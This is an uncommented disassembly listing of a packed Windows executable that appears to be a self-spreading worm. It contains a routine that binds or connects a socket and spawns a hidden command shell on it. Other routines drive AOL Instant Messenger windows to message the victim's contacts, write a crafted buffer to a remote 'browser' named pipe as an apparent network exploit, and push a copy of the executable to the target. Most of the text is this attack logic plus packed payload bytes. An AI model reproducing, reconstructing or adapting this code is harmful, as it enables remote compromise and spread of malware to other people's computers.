		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		mov	[ebp+arg_0], esi
		call	dword_401150	; bind
		push	ebx
		push	esi
		call	dword_40112C	; listen
		push	ebx
		push	ebx
		push	esi
		call	dword_40114C	; accept
		push	[ebp+arg_0]
		mov	esi, eax
		call	edi	; closesocket
		jmp	short loc_4041B4
; ---------------------------------------------------------------------------


loc_40419F:				; CODE XREF: sub_4040DE+8Dj
		call	dword_401118	; WSASocketA
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_401130	; connect


loc_4041B4:				; CODE XREF: sub_4040DE+BFj
		lea	eax, [ebp+var_54]
		push	44h
		push	eax
		call	sub_402DBC
		lea	eax, [ebp+var_254]
		push	100h
		push	eax
		push	offset aComspecQ ; "\"%comspec%\" /Q"
		mov	[ebp+var_54], 44h
		mov	[ebp+var_28], 181h
		mov	[ebp+var_24], bx
		mov	[ebp+var_18], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_14], esi
		call	dword_401090	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_54]
		push	offset dword_401650
		push	eax
		push	ebx
		push	ebx
		push	10h
		push	1
		push	ebx
		lea	eax, [ebp+var_254]
		push	ebx
		push	eax
		push	ebx
		call	dword_4010AC	; CreateProcessA
		push	esi
		call	edi	; closesocket


loc_404213:				; CODE XREF: sub_4040DE+3Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4040DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40421C	proc near		; CODE XREF: sub_4027CB+163p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		push	offset a_oscar_statusn ; "_Oscar_StatusNotify"
		call	dword_401108	; FindWindowA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404355
		mov	esi, dword_401104
		push	ebx
		push	4E23h
		push	111h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	edi
		call	dword_401100	; GetWindowThreadProcessId
		mov	edi, dword_4010FC
		push	ebx
		push	offset a32770	; "#32770"
		push	ebx
		mov	[esp+18h+arg_0], eax
		push	ebx


loc_404267:				; CODE XREF: sub_40421C+6Dj
		call	edi	; FindWindowExA
		mov	ebp, eax
		cmp	ebp, ebx
		jz	loc_404355
		push	ebx
		push	ebp
		call	dword_401100	; GetWindowThreadProcessId
		push	ebx
		push	offset a32770	; "#32770"
		cmp	eax, [esp+14h+arg_0]
		jz	short loc_40428B
		push	ebp
		push	ebx
		jmp	short loc_404267
; ---------------------------------------------------------------------------


loc_40428B:				; CODE XREF: sub_40421C+69j
		push	ebx
		push	ebp
		call	edi	; FindWindowExA
		cmp	eax, ebx
		jz	loc_404355
		push	ebx
		push	offset a_oscar_tree ; "_Oscar_Tree"
		push	ebx
		push	eax
		call	edi	; FindWindowExA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404355
		push	ebx
		mov	ebp, 18Bh
		push	ebx
		push	ebp
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	eax
		push	186h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	25h
		push	100h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	25h
		push	101h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	ebx
		push	ebp
		push	edi
		call	esi	; SendMessageA
		mov	ebp, eax
		sub	ebp, 2
		js	short loc_404306


loc_4042E3:				; CODE XREF: sub_40421C+E8j
		push	ebx
		push	ebp
		push	186h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	27h
		push	100h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	27h
		push	101h
		push	edi
		call	esi	; SendMessageA
		dec	ebp
		jns	short loc_4042E3


loc_404306:				; CODE XREF: sub_40421C+C5j
		push	ebx
		push	ebx
		push	18Bh
		push	edi
		call	esi	; SendMessageA
		xor	ebp, ebp
		cmp	eax, ebx
		mov	[esp+14h+var_4], eax
		jle	short loc_404355


loc_40431A:				; CODE XREF: sub_40421C+137j
		push	ebx
		push	ebp
		push	186h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	20h
		push	100h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	20h
		push	101h
		push	edi
		call	esi	; SendMessageA
		push	[esp+14h+arg_0]
		call	sub_40435D
		push	7D0h
		call	dword_4010D4	; Sleep
		inc	ebp
		cmp	ebp, [esp+14h+var_4]
		jl	short loc_40431A


loc_404355:				; CODE XREF: sub_40421C+17j
					; sub_40421C+51j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
sub_40421C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40435D	proc near		; CODE XREF: sub_40421C+122p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, dword_4010FC
		push	edi
		push	offset aInstantMessage ; "Instant Message"
		xor	edi, edi
		push	offset aAim_imessage ; "AIM_IMessage"
		push	edi
		push	edi
		call	esi	; FindWindowExA
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_404426
		push	ebp


loc_404381:				; CODE XREF: sub_40435D+C2j
		push	edi
		push	offset aWndate32class ;	"WndAte32Class"
		push	edi


loc_404388:				; CODE XREF: sub_40435D+61j
		push	ebx
		call	esi	; FindWindowExA
		mov	ebp, eax
		push	edi
		cmp	ebp, edi
		jz	short loc_4043C0
		push	offset aCbclass	; "CBClass"
		push	edi
		push	ebp
		call	esi	; FindWindowExA
		test	eax, eax
		jz	short loc_4043B7
		push	edi
		push	offset aAte32class ; "Ate32Class"
		push	edi
		push	ebp
		call	esi	; FindWindowExA
		push	[esp+10h+arg_0]
		push	edi
		push	0Ch
		push	eax
		call	dword_401104	; SendMessageA


loc_4043B7:				; CODE XREF: sub_40435D+40j
		push	edi
		push	offset aWndate32class ;	"WndAte32Class"
		push	ebp
		jmp	short loc_404388
; ---------------------------------------------------------------------------


loc_4043C0:				; CODE XREF: sub_40435D+33j
		push	offset a_oscar_iconbtn ; "_Oscar_IconBtn"
		push	edi


loc_4043C6:				; CODE XREF: sub_40435D+A3j
		push	ebx
		call	esi	; FindWindowExA
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_404402
		push	ebp
		call	dword_40110C	; GetMenu
		cmp	eax, 199h
		jnz	short loc_4043F9
		push	edi
		push	edi
		push	201h
		push	ebp
		call	dword_401104	; SendMessageA
		push	edi
		push	edi
		push	202h
		push	ebp
		call	dword_401104	; SendMessageA


loc_4043F9:				; CODE XREF: sub_40435D+7Ej
		push	edi
		push	offset a_oscar_iconbtn ; "_Oscar_IconBtn"
		push	ebp
		jmp	short loc_4043C6
; ---------------------------------------------------------------------------


loc_404402:				; CODE XREF: sub_40435D+70j
		push	edi
		push	edi
		push	10h
		push	ebx
		call	dword_401104	; SendMessageA
		push	offset aInstantMessage ; "Instant Message"
		push	offset aAim_imessage ; "AIM_IMessage"
		push	edi
		push	edi
		call	esi	; FindWindowExA
		mov	ebx, eax
		cmp	ebx, edi
		jnz	loc_404381
		pop	ebp


loc_404426:				; CODE XREF: sub_40435D+1Dj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40435D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40442C	proc near		; DATA XREF: sub_402FC3+19Bo

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40443A
		xor	eax, eax
		retn	4
sub_40442C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40443A	proc near		; CODE XREF: sub_40442C+4p

var_8C4		= byte ptr -8C4h
var_864		= byte ptr -864h
var_818		= dword	ptr -818h
var_806		= byte ptr -806h
var_709		= word ptr -709h
var_94		= byte ptr -94h
var_88		= byte ptr -88h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_40111C	; inet_ntoa
		mov	esi, dword_401110
		push	eax
		lea	eax, [ebp+var_28]
		push	offset a_16sPipe ; "\\\\%.16s\\pipe"
		push	eax
		call	esi	; wsprintfA
		lea	eax, [ebp+var_28]
		add	esp, 0Ch
		xor	ebx, ebx
		mov	[ebp+var_34], eax
		mov	eax, offset dword_4014B4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_48]
		mov	[ebp+var_44], ebx
		push	eax
		mov	[ebp+var_38], ebx
		mov	[ebp+var_2C], ebx
		call	sub_40465A
		test	eax, eax
		jnz	loc_404597
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_88]
		push	offset a_24sBrowser ; "%.24s\\browser"
		push	eax
		call	esi	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_88]
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	ebx
		push	0C0000000h
		push	eax
		call	dword_401098	; CreateFileA
		mov	edi, eax
		push	ebx
		cmp	edi, 0FFFFFFFFh
		jz	loc_40458D
		mov	esi, dword_401094
		lea	eax, [ebp+var_8]
		push	eax
		push	48h
		push	offset dword_401FE0
		push	edi
		call	esi	; WriteFile
		test	eax, eax
		jz	loc_404585
		call	dword_4010B4	; GetTickCount
		mov	[ebp+var_4], eax
		mov	eax, 0FF00h
		test	word ptr [ebp+var_4], ax
		jnz	short loc_4044FA
		xor	[ebp+var_4], eax


loc_4044FA:				; CODE XREF: sub_40443A+BBj
		cmp	byte ptr [ebp+var_4], bl
		jnz	short loc_404506
		xor	[ebp+var_4], 0FFh


loc_404506:				; CODE XREF: sub_40443A+C3j
		push	60h
		lea	eax, [ebp+var_8C4]
		push	offset dword_402028
		push	eax
		call	sub_402E0E
		push	90h
		lea	eax, [ebp+var_864]
		push	7D0h
		push	eax
		call	sub_402DDD
		push	191h
		lea	eax, [ebp+var_806]
		push	offset loc_401E4C
		push	eax
		mov	[ebp+var_818], 75021E3Eh
		call	sub_402E0E
		mov	ax, word ptr [ebp+var_4]
		push	0Ch
		mov	[ebp+var_709], ax
		lea	eax, [ebp+var_94]
		push	offset dword_402088
		push	eax
		call	sub_402E0E
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_8C4]
		push	83Ch
		push	eax
		push	edi
		call	esi	; WriteFile
		test	eax, eax
		jnz	short loc_40459B


loc_404585:				; CODE XREF: sub_40443A+A3j
		push	edi
		call	dword_401054	; CloseHandle
		push	ebx


loc_40458D:				; CODE XREF: sub_40443A+87j
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_404654


loc_404597:				; CODE XREF: sub_40443A+4Ej
		xor	eax, eax
		jmp	short loc_4045C3
; ---------------------------------------------------------------------------


loc_40459B:				; CODE XREF: sub_40443A+149j
		push	800h
		call	dword_4010D4	; Sleep
		push	edi
		call	dword_401054	; CloseHandle
		push	ebx
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_404654
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4045CA


loc_4045C3:				; CODE XREF: sub_40443A+15Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40443A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045CA	proc near		; CODE XREF: sub_40443A+184p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		push	esi
		push	8000080h
		push	3
		push	esi
		mov	[ebp+var_C], eax
		mov	ax, word ptr [ebp+arg_4]
		push	1
		push	1
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	[ebp+var_10], 2
		mov	[ebp+var_E], ax
		call	dword_401098	; CreateFileA
		push	6
		push	1
		push	2
		mov	ebx, eax
		call	dword_401128	; socket
		lea	ecx, [ebp+var_10]
		push	10h
		push	ecx
		push	eax
		mov	[ebp+arg_4], eax
		call	dword_401130	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404627
		xor	eax, eax
		jmp	short loc_404641
; ---------------------------------------------------------------------------


loc_404627:				; CODE XREF: sub_4045CA+57j
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	ebx
		push	[ebp+arg_4]
		call	sub_40464E
		push	ebx
		mov	esi, eax
		call	dword_401054	; CloseHandle
		mov	eax, esi


loc_404641:				; CODE XREF: sub_4045CA+5Bj
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4045CA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404648	proc near		; CODE XREF: sub_402FC3+15Cp
					; sub_402FC3+16Dp
		jmp	dword_401170
sub_404648	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40464E	proc near		; CODE XREF: sub_4045CA+67p
		jmp	dword_4010F0
sub_40464E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404654	proc near		; CODE XREF: sub_40443A+158p
					; sub_40443A+179p
		jmp	dword_4010E8
sub_404654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40465A	proc near		; CODE XREF: sub_40443A+47p
		jmp	dword_4010E4
sub_40465A	endp

; ---------------------------------------------------------------------------
		dd 529h	dup(0)
		dd offset dword_401044
		dd 4E52454Bh, 32334C45h, 6C6C642Eh, 72578000h, 50657469h
		dd 65636F72h, 654D7373h, 79726F6Dh, 69568000h, 61757472h
		dd 6C6C416Ch, 7845636Fh, 75448000h, 63696C70h, 48657461h
		dd 6C646E61h, 44800065h, 74656C65h, 6C694665h, 80004165h
		dd 736F6C43h, 6E614865h, 656C64h, 69615780h, 726F4674h
		dd 676E6953h, 624F656Ch, 7463656Ah, 65478000h, 6F725074h
		dd 64644163h, 73736572h, 6F4C8000h, 694C6461h, 72617262h
		dd 80004179h, 61657243h, 68546574h, 64616572h, 65478000h
		dd 72754374h, 746E6572h, 65726854h, 64496461h, 736C8000h
		dd 656C7274h, 8000416Eh, 61657243h, 65526574h, 65746F6Dh
		dd 65726854h, 80006461h, 4C746547h, 6369676Fh, 72446C61h
		dd 53657669h, 6E697274h, 417367h, 6E694680h, 6F6C4364h
		dd 80006573h, 646E6946h, 7478654Eh, 656C6946h, 46800041h
		dd 46646E69h, 74737269h, 656C6946h, 47800041h, 65547465h
		dd 6946706Dh, 614E656Ch, 41656Dh, 6F6C4780h, 466C6162h
		dd 656572h, 6F6C4780h, 416C6162h, 636F6C6Ch, 78458000h
		dd 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
		dd 417367h, 69725780h, 69466574h, 8000656Ch, 61657243h
		dd 69466574h, 41656Ch, 74654780h, 72727543h, 50746E65h
		dd 65636F72h, 80007373h, 57746547h, 6F646E69h, 69447377h
		dd 74636572h, 4179726Fh, 6C5F8000h, 61657263h, 5F800074h
		dd 6F6C636Ch, 80006573h, 61657243h, 72506574h, 7365636Fh
		dd 80004173h, 7274736Ch, 41706D63h, 65478000h, 63695474h
		dd 756F436Bh, 8000746Eh, 4D746547h, 6C75646Fh, 6C694665h
		dd 6D614E65h, 80004165h, 7274736Ch, 6E797063h, 47800041h
		dd 79537465h, 6D657473h, 65726944h, 726F7463h, 80004179h
		dd 46746553h, 41656C69h, 69727474h, 65747562h, 80004173h
		dd 79706F43h, 656C6946h, 43800041h, 74616572h, 74754D65h
		dd 417865h, 74654780h, 7473614Ch, 6F727245h, 53800072h
		dd 7065656Ch, 65478000h, 69724474h, 79546576h, 416570h
		dd 69784580h, 6F725074h, 73736563h, 0FFFFFF00h,	4010F8FFh
		dd 45535500h, 2E323352h, 6C6C64h, 61684380h, 70705572h
		dd 417265h, 6E694680h, 6E695764h, 45776F64h, 80004178h
		dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h
		dd 64497373h, 65538000h, 654D646Eh, 67617373h, 80004165h
		dd 646E6946h, 646E6957h, 41776Fh, 74654780h, 756E654Dh
		dd 73778000h, 6E697270h, 416674h, 0FFFFFFFFh, 401118h
		dd 5F325357h, 642E3233h, 80006C6Ch, 53415357h, 656B636Fh
		dd 4174h, 0B0000h, 0A0000h, 330000h, 160000h, 0C0000h
		dd 30000h, 120000h, 50000h, 110000h, 0F0000h, 20000h, 720000h
		dd 0
		dd 80010000h, 49415357h, 6C74636Fh, 0
		db  0Eh
		align 4
		db    8
		align 10h
		db  13h
		align 4
		db    9
		align 4
		db    7
		align 4
		db  14h
		align 10h
		db  96h	; –
		db 3 dup(0FFh)
		db 0FFh
		align 2
		dw 4010h
		db    0
		db 41h,	44h, 56h
		db  41h	; A
		db 50h,	49h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
aAstartservicec	db '€StartServiceCtrlDispatcherA',0
aAopenscmanager	db '€OpenSCManagerA',0
aAcloseserviceh	db '€CloseServiceHandle',0
aAdeleteservice	db '€DeleteService',0
aAsetservicesta	db '€SetServiceStatus',0
aAregisterservi	db '€RegisterServiceCtrlHandlerA',0
aAchangeservice	db '€ChangeServiceConfigA',0
aAcontrolservic	db '€ControlService',0
aAcreateservice	db '€CreateServiceA',0
aAregclosekey	db '€RegCloseKey',0
aAregsetvalueex	db '€RegSetValueExA',0
aAregcreatekeya	db '€RegCreateKeyA',0
aAsetsecurityin	db '€SetSecurityInfo',0
aAchangeservi_0	db '€ChangeServiceConfig2A',0
aAstartservicea	db '€StartServiceA',0
aAopenservicea	db '€OpenServiceA',0
		db 0FFh
		db 3 dup(0FFh)
		dd offset dword_4010F0
		db  4Dh	; M
		db 53h,	57h, 53h
		db  4Fh	; O
		db 43h,	4Bh, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  80h	; €
aTransmitfile	db 'TransmitFile',0
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	esp
; ---------------------------------------------------------------------------
		db 10h
		db  40h	; @
		align 2
		dw 504Dh
		db  52h	; R
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
aAwnetaddconnec	db '€WNetAddConnection2A',0
aAwnetcancelcon	db '€WNetCancelConnection2A',0
aA		db '€',0
		align 10h
MEW		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00003E52 (  15954.)
; Section size in file		: 00003E52 (  15954.)
; Offset to raw	data for section: 00006000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
__u_____	segment	para public 'CODE' use32
		assume cs:__u_____
		;org 406000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing


loc_406000:				; DATA XREF: __u_____:00406018o
		xor	ecx, ecx
		inc	ecx


loc_406003:				; CODE XREF: __u_____:00406009j
		call	dword ptr [ebx]
		adc	ecx, ecx
		call	dword ptr [ebx]
		jb	short loc_406003
		retn
; ---------------------------------------------------------------------------
		dd 77E805D8h, 77E7A5FDh, 0
		dd offset loc_406000
		dd 40012Ch, 401C60h, 401180h, 0F701A5CEh, 0E0EB01F6h, 0BDF6FCFFh
		dd 0F80E8E92h, 310D4FAh, 858DA780h, 0FC2B7FEEh,	3439DBC4h
		dd 0B6A2FEDBh, 9D9B1880h, 0EE299CABh, 0C41902A2h, 0A7F89E21h
		dd 9D831498h, 909D2B89h, 0F6FA0DF4h, 84C467FEh,	80A72981h
		dd 0A146A115h, 81860E3Ch, 0C7129AAAh, 1DFD1EFEh, 8FC5BFDh
		dd 0AFA0DACh, 98879990h, 0A180A110h, 408AFB51h,	9A64C3BDh
		dd 7C002087h, 93A7A095h, 0B82354A7h, 4CC12720h,	9AA79B9Fh
		dd 0AB952C40h, 0C5ADE4B6h, 2CE6F44Ch, 0BD88E70Ch, 0BCAF3FA6h
		dd 0E37FAABAh, 3824D5D7h, 8CBDEC1Fh, 0CA9BBACh,	0BCBE0EADh
		dd 0E047A3A1h, 18945FA2h, 0A80CBD3Eh, 9257B9BAh, 0A21CBE79h
		dd 5CB7ADA7h, 0D00EA396h, 7F7A1742h, 0AAA03DB9h, 0BEEBF775h
		dd 0A246CE3Eh, 0BA4E922Fh, 587322DBh, 0F92883DBh, 0F7CBCEABh
		dd 8C0EACD6h, 0D34C871Fh, 0E8A31A3Bh, 2CD4A26h,	0FEAA1918h
		dd 0A155A0BDh, 0E3BCFCB8h, 18B288EEh, 79A1A0F0h, 0B7A834BAh
		dd 128A1961h, 0BB388AB8h, 14E82ABDh, 852D365Ah,	0CE8FA198h
		dd 0BB377DBFh, 0EEB7836Ch, 0B7FD4CBEh, 0A9FF7982h, 0B93418A1h
		dd 853092A5h, 4D54B710h, 0B78894C5h, 0A3377CFEh, 65FD6D92h
		dd 8B3A1DDh, 3841A294h,	0AE40B44Ah, 0FEB4EC5Fh,	2FE9D31Ch
		dd 74DF0228h, 0B5D07BFFh, 5C8B6D4Dh, 0C93E48AAh, 7B08B76Eh
		dd 0EC9E20A0h, 0CD18A5CEh, 90681A28h, 22CEDB0Bh, 7CACCE7Ah
		dd 952CAA6Dh, 0E43BFDEFh, 3599176h, 31A6E325h, 300A0364h
		dd 3F0A760Ah, 74231E34h, 0A407310Ch, 26094CCEh,	600DA2E1h
		dd 22BEB626h, 0E0249E37h, 100A54D4h, 880ADA8Ah,	0A60AA2A2h
		dd 0B034B49Ch, 8F8DE249h, 3719945Bh, 0BEA130AAh, 64DEE0A7h
		dd 21CF6200h, 0E94AA895h, 0BA44D492h, 0B5FBFC26h, 61FA0D32h
		dd 0D5DCEB1h, 519206DAh, 968EBFFh, 0E4651806h, 0FD043C24h
		dd 0EACDF4A0h, 3D207AA4h, 95BEABBAh, 18A3BB9Ah,	0BE6C070Fh
		dd 690A5E0h, 832A0D84h,	8536078Ch, 0CB681EE1h, 0AC12F4F4h
		dd 6ADF0364h, 9349102Bh, 14B04310h, 10F4E78Fh, 0BF9ADBF6h
		dd 0DEB21EFh, 9CB4340Ah, 0A88A8226h, 0FFCA014h,	0A9AAAAFh
		dd 8F9AC888h, 0F28C8F28h, 0E4A09E0Ah, 0B9878070h, 0E482C92Ch
		dd 0A4CE9C8Bh, 6D1EC71h, 3B9790Ah, 81CC85C9h, 0E843DC9Eh
		dd 83001F45h, 57E3BBA6h, 8D400BF0h, 3B0C93ECh, 87204CDDh
		dd 0F2E4ED39h, 9ED959DEh, 18B9F1C1h, 0A0630FD2h, 168D9D8Fh
		dd 389C660Dh, 0CCC0C8Ch, 90AA14F4h, 0D1BD7F36h,	0BBCB1050h
		dd 91FAB0Dh, 285C540Ch,	0AF7DAD0Ch, 5FA428A5h, 2101AB4h
		dd 1B54D610h, 591046C5h, 461FDBA5h, 0FA7A3472h,	5916D6E0h
		dd 4BED2BC6h, 24C14118h, 0BE48BD8Fh, 2907874h, 209FE131h
		dd 0D39D8191h, 1C9A93BCh, 0EDB37E47h, 0FE8AF95Ch, 319D14B9h
		dd 4E61CAF5h, 43A16680h, 0E3872614h, 0A5BA8C89h, 2868FCDh
		dd 508D585Ch, 0D49DBA58h, 9989098Ch, 73175688h,	8387481Bh
		dd 0DDD79D62h, 0A0CDA9F4h, 48A809FEh, 241323C8h, 69024977h
		dd 74EABCACh, 0EFE5DF64h, 306A8DE4h, 50E5A799h,	1180BA30h
		dd 0B91C4070h, 1B380AE0h, 87080FE8h, 101C87F3h,	0C29D91Fh
		dd 14209468h, 0CE320180h, 0C2FAE242h, 0ACBBC308h, 0E089A48Bh
		dd 0AB9C64A6h, 36BA0ACFh, 5D886F20h, 0A9BE35B7h, 24958974h
		dd 14A6A026h, 0F6BEED1Dh, 6146A79Ah, 0BDD7F791h, 2CE26009h
		dd 98E326E9h, 0E4EF40E4h, 304D31E9h, 8E55A097h,	0BC398106h
		dd 0B8BDADBEh, 6C08B2CEh, 4A148C62h, 0EE283299h, 0BAA368C1h
		dd 9E5177E0h, 0AA5C60C1h, 14CD8198h, 0DE05E18Dh, 0B51D2216h
		dd 0A948673Fh, 78D99DB5h, 4A6C1423h, 0F9A1AA16h, 0A24E9EEEh
		dd 0F53D172Eh, 0AB2ED9B9h, 0BEBB1E3Ah, 76A3B77Eh, 0A851363Ah
		dd 0B1D40EBFh, 0A25EB2BEh, 0C3F94A2Dh, 0DC5AB7E2h, 1F0813B6h
		dd 3D8D9E9Ch, 82AC5DFDh, 87E6E08Fh, 0A76B2DA8h,	0EDE13B48h
		dd 0BE8C0B19h, 0E2AAF9C7h, 0E28F2B56h, 0F7B2DDBBh, 0F99C4D84h
		dd 0B94430ACh, 2CA8B6E7h, 455A8BFAh, 6B63AFFh, 608B3E18h
		dd 0FECF47B6h, 0A168FDA5h, 0A261B4E3h, 41AF8709h, 6B4BAADEh
		dd 0D9C366D7h, 19B794CAh, 13EBB1C8h, 0D31C419Ch, 0F63241D7h
		dd 83D49006h, 591E4262h, 6BA8A837h, 0F49D112h, 62E4DEBCh
		dd 258AB40Eh, 26A542CCh, 9DD9E837h, 9998039Bh, 0D6EAA245h
		dd 0DCF28BA1h, 0B61FCB9Ah, 84581BCDh, 0F0EE9418h, 0FC2D1E13h
		dd 7CFADF87h, 31FD3B07h, 620E3032h, 0BA070AF4h,	0C3010FC9h
		dd 3C2536F0h, 0EAB206F5h, 482FBBDAh, 0B1A803EDh, 129085C2h
		dd 0CA667ED2h, 0C0A80B54h, 93909152h, 8A374795h, 992E1EEAh
		dd 1DDFC60Fh, 0C00A4D17h, 0FEA4900Dh, 0D7FAAA97h, 0C26795FEh
		dd 0D587D206h, 4DC6B5A0h, 0F110DC22h, 22A69E60h, 1E473AECh
		dd 244099DAh, 31264487h, 0C8A43A18h, 0CF7BB3Eh,	0CA8B471Eh
		dd 44101524h, 166427EDh, 804001C2h, 0FD0022C0h,	7750A807h
		dd 31FD9FD0h, 0D67A61F4h, 86B51263h, 451E5448h,	78C29D16h
		dd 8629D6D7h, 0F016DE29h, 840872B7h, 14A0D640h,	5187E1C5h
		dd 50CF7472h, 0D9C652CCh, 837602DFh, 4ECAE918h,	45B0AF3Ah
		dd 0FFDEA40Ah, 52C6DA98h, 0BE20D46Ah, 9646CC09h, 0E06D6317h
		dd 31B632E7h, 21846120h, 48872B1Ch, 83450FA1h, 0EC9F8FB9h
		dd 4F12D69Bh, 3EC1320Ah, 92471245h, 6AFE7FE7h, 9B002F9Dh
		dd 0B00E4BDEh, 199E64C4h, 25C202CAh, 0D614A52Bh, 8295BB01h
		dd 7BB413D4h, 0DE51512Ch, 30562660h, 1E89C044h,	821149Ch
		dd 1149AE2Eh, 0C5D4CBB4h, 11DE64CDh, 3E14A686h,	0F404EF76h
		dd 106D00Ch, 4351808Eh,	0DFC06EF3h, 0C6A73F41h,	0CBFEF085h
		dd 0CA1800D5h, 25444693h, 0DF07D206h, 5282651h,	0AE86DEE5h
		dd 0E1485ECCh, 0C7C6F288h, 1F408AEAh, 99DF56F8h, 9C0803E8h
		dd 52E81F3h, 0BF3F049Ah, 997369Dh, 658B7E14h, 34FE1D83h
		dd 91011202h, 6CC92EF6h, 9A0EB220h, 0CA14040Ch,	0C5429B72h
		dd 33DECA87h, 8FE36ABh,	91C21B0h, 0EC0C3A8Bh, 0E23E0F8Eh
		dd 192680D2h, 1843FDCDh, 0E3DBF403h, 1E1E50DEh,	26CB1BBBh
		dd 0C4AA69AAh, 28420588h, 0D073810h, 5E224F8Ch,	1266A651h
		dd 0C805A465h, 0BA63025Ah, 1E1422FAh, 5379F337h, 0B126E9D0h
		dd 139BD2C7h, 0A6DA064Fh, 38C65FCFh, 44C5DF86h,	0E6FDA638h
		dd 591A1086h, 40202528h, 0D5201245h, 43B66270h,	992FCAA6h
		dd 0C6170E26h, 0D8F9C52Ah, 43F7D8AEh, 3D48DE12h, 0A437769Ah
		dd 3D7D19EEh, 10EFE721h, 65DA2E3Bh, 0AE630620h,	85B47FDFh
		dd 4D890Fh, 2613B2CBh, 428CAAC2h, 0A39D2FE3h, 2AC58927h
		dd 81FF0D16h, 9D13EABFh, 38FDE207h, 9D6CDCA4h, 227189CAh
		dd 489A4800h, 9D991948h, 0F511F222h, 32393008h,	98B5BB14h
		dd 9AA62901h, 78944C3Dh, 24BEDE52h, 34BD4CDCh, 2B085F36h
		dd 0F34586EEh, 43130DFAh, 0B80E3E83h, 9522A647h, 9F123312h
		dd 7F7E9E58h, 193E933Bh, 12063ABBh, 2A062E02h, 242F981Eh
		dd 41E2A619h, 35124B43h, 0D3E2EC8Dh, 226C6ED5h,	0CF128472h
		dd 63A3668h, 326D9244h,	701F054h, 3DA0F6DBh, 789548C2h
		dd 1E704C7Fh, 62F2998Eh, 4522CA74h, 0B89B8836h,	0B3679945h
		dd 22CD95FFh, 0FBE8EFC2h, 1B0FD2C6h, 269832A7h,	291C49Eh
		dd 59350D12h, 3E082F34h, 6E4E8A76h, 8A1E320Eh, 8962938Ah
		dd 1F20C526h, 0FEEB4DA8h, 100A19D2h, 8A1E13CBh,	0E2440A68h
		dd 330D894Fh
		dd 0A6D2063Ah, 8B20EDC4h, 0DA8C2276h, 22544690h, 9F262AFBh
		dd 0FF3A449Eh, 0CDBC31A3h, 3BB05629h, 33501FF6h, 0C4C07D5h
		dd 28D473CFh, 0CBE2C47Ah, 0D5A32606h, 85467633h, 0DC4EF1F7h
		dd 0A8A0BB03h, 1DC8606Fh, 15526609h, 6DC52514h,	542E640Bh
